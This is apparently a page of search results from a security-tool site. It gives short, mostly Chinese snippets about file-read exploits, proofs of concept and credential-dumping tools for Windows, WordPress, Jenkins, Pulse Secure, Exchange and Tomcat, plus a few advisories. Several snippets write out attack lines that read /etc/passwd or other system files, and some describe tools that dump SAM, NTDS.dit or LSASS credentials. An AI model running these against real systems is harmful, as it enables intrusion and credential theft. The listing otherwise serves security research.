134118 matches found
UnderlayCopy
UnderlayCopy UnderlayCopy es una utilidad de PowerShell para la adquisición de bajo nivel de NTFS y el volcado de artefactos de sistema protegidos y bloqueados por ejemplo: SAM , SYSTEM , NTDS.dit , hives del registro y otros archivos que normalmente son inaccesibles mientras Windows se está...
CVE-2024-26160
CVE-2024-26160（cldflt.sys 信息泄露漏洞） 这里有一篇关于 CVE-2024-26160 的简短分析，该漏洞可在二月补丁（KB5034765 ，Windows 11 22H2、Windows 11 23H2）中找到。该漏洞已在三月补丁（KB5035853 ）中修复。 分析 该漏洞位于 CldiPortProcessGetRangeInfo 函数中，它没有 检查用户应用程序传入的缓冲区大小。由于该大小可由用户控制，memmove（用于复制返回的信息）在正确传入大小的情况下，可以获取包含内核地址的相邻内存池。 三月补丁（KB5035853 ）引入了对缓冲区大小的额外检...
CVE-2025-2539
CVE-2025-2539 PoC 针对 WordPress File Away 插件 ≤ 3.9.9.0.1 的未授权任意文件读取漏洞利用程序 📖 描述 此 Python 脚本是 CVE-2025-2539 的概念验证 PoC 利用程序，针对 WordPress File Away 插件 ≤ 3.9.9.0.1 中的漏洞。 该漏洞允许未授权的攻击者通过暴露的插件端点读取服务器上的任意文件，而无需适当的授权检查。 📌 使用方法 ▶️ 要求： Python 3 requests 库 安装所需库： root@kitploit: pip install requests 参数： --target...
nginx-CVE-2017-7529
Nginx越界读取缓存漏洞（CVE-2017-7529） 漏洞原理 参考阅读： https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7 http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/...
CVE-2015-3337
CVE-2015-3337 CVE-2015-3337 任意文件读取 http://10.10.20.166:9200/plugin/head/../../../../../../../../../etc/passwd Usage: python CVE-2015-3337.py root@kitploit: python CVE-2015-3337.py / \ | | | | / | |/ | | | | || || || / | / / | | | | ' / /'| |/' || | | \ / / / / / / / / | | | | | | || / / | /| | |...
DriverJack
DriverJack 简介 DriverJack 是一款旨在利用鲜为人知的 NTFS 技术加载有漏洞驱动程序的工具。这些方法通过劫持现有服务绕过系统上驱动服务的注册，并且还伪造驱动加载事件中显示的镜像路径。为进一步隐藏有漏洞驱动的存在，该攻击还利用了模拟文件系统只读绕过，在加载前替换已挂载 ISO 上的驱动文件内容。 模拟文件系统只读绕过 DriverJack 利用了将挂载在模拟文件系统上的文件重新映射到读写页以覆盖其内容的可能性。此只读绕过在 IoCdfsLib 中实现。 攻击概述 一旦 ISO...
CVE-2016-10956-mail-masta
Mail Masta - 本地文件读取 CVE-2016-10956 WordPress 的 mail-masta 插件 1.0 在 countofsend.php 和 csvexport.php 中存在本地文件读取漏洞。 用法 root@kitploit: $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t TARGETURL -f FILE | -F FILELIST -D DUMPDI...
CVE-2020-1938TomcatAjpScanner
CVE-2020-1938TomcatAjpScanner 批量扫描TomcatAJP漏洞 漏洞详情 2020年1月6日，国家信息安全漏洞共享平台（CNVD）收录了Apache Tomcat文件包含漏洞（CNVD-2020-10487，对应CVE-2020-1938）。攻击者利用该漏洞，可在未授权的情况下远程读取特定目录下的任意文件。目前，漏洞细节尚未公开，厂商已发布新版本完成漏洞修复。 漏洞分析 https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWA 脚本使用 python CVE-2020-1938TomcatAjpScanner -h...
CVE-2026-45504
CVE-2026-45504 Exchange 文件读取 CVE-2026-45504 Exchange 文件读取研究博客 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...
CVE-2026-43499-S25U
CVE-2026-43499 PoC 针对 Galaxy S25 Ultra 针对韩国三星 Galaxy S25 Ultra 上 CVE-2026-43499 的设备特定概念验证。 支持的目标设备 root@kitploit: Model: SM-S938N Codename: pa3q Android: 16 / API 36 Build: S938NKSUACZF1 Display ID: BP4A.251205.006.S938NKSUACZF1 Fingerprint:...
vss-fr2system
vss-fr2system 两个小型工具，可将 Windows 上的任意文件读取 漏洞转化为 SYSTEM Shell 。 vssfreeze/ —— 以标准用户 身份创建卷影副本，然后保持其打开状态，以便你有足够时间从中读取 SAM/SECURITY/SYSTEM 配置单元 fr2system/ —— 获取你复制出的配置单元，离线解密本地 NTLM 哈希，并弹出 SYSTEM Shell 配合任何以 SYSTEM 身份运行（或能够读取 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN... 路径）的任意文件读取原语，这在默认的...
kernel: nvme-tcp: reject a read that transferred too few bytes
A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...
AtomicMemory
参考 FPGA 实现 Cyclone V 本目录包含参考 RTL 模块、预编译的 FPGA 镜像以及可选的 TCL 测试脚本，用于实现原子测量–塌缩原语。该原语是一种 CMOS 兼容的硬件测量–塌缩机制，强制实现单次读取语义：第一次合格的读取返回存储的字节，而测量行为会确定性地触发不可逆的塌缩事件。塌缩后，单元仅产生混淆或基于 PRNG 的输出，确保原始值无法恢复。该实现展示了确定性首次读取披露、基于基态条件的访问控制以及独立存储单元组上的原子单向状态转换。 提供的 .sof 文件允许直接进行硬件验证，无需任何额外的总线接口模块。 状态： 研究工件发布 许可证：...
CVE-2026-81645
CVE-2026-81645 identifies an out-of-bounds read vulnerability located in the graphics module . Successful exploitation of this flaw may impact the availability of the affected system. While the CVSS score of 5.9 (MEDIUM) indicates a local attack vector with low complexity requiring no privileges,...
CVE-2026-81645
Out-of-bounds read vulnerability in the graphics module. Successful exploitation of this vulnerability may affect availability...
EUVD-2026-85810
Out-of-bounds read vulnerability in the graphics module. Successful exploitation of this vulnerability may affect availability...
CVE-2024-23897
CVE-2024-23897 CVE-2024-23897 jenkins-cli 我们已看到 Jenkins 文件泄露 / RCE（CVE-2024-23897）在野被利用，并成功复现了该漏洞。 如果你的 Jenkins 允许匿名用户或用户注册，请立即将其更新到最新版本。 java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd...
CVE-2019-11510
CVE-2019-11510 用于 Pulse Secure SSL VPN 任意文件读取的漏洞利用工具（CVE-2019-11510） 你可以使用单个域名，也可以使用域名列表。域名前必须包含 https://。 用法：cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ 如果你只想验证漏洞并下载 /etc/passwd，请使用： cat targetlist.txt | bash CVE-2019-11510.sh --only-etc-passwd...
GhostKatz
GhostKatz 通过滥用带有签名的易受攻击驱动程序，利用 MmMapIoSpace 直接读取物理内存，从 LSASS 中提取凭据，从而绕过传统的用户态检测能力。 本工具由 Julian Peña 与 Eric Esquivel 合作开发。 此版本的 GhostKatz 使用了已公开披露为易受攻击的驱动程序。为获得最佳效果，GhostKatz 旨在配合暴露读取内存原语漏洞且加载时未被阻止/公开已知的内核驱动程序使用。本次公开发布不包括针对此前未公开驱动程序的利用代码。相反，该项目设计为模块化且可扩展，允许用户研究自己的驱动程序，并通过扩展 utils.c...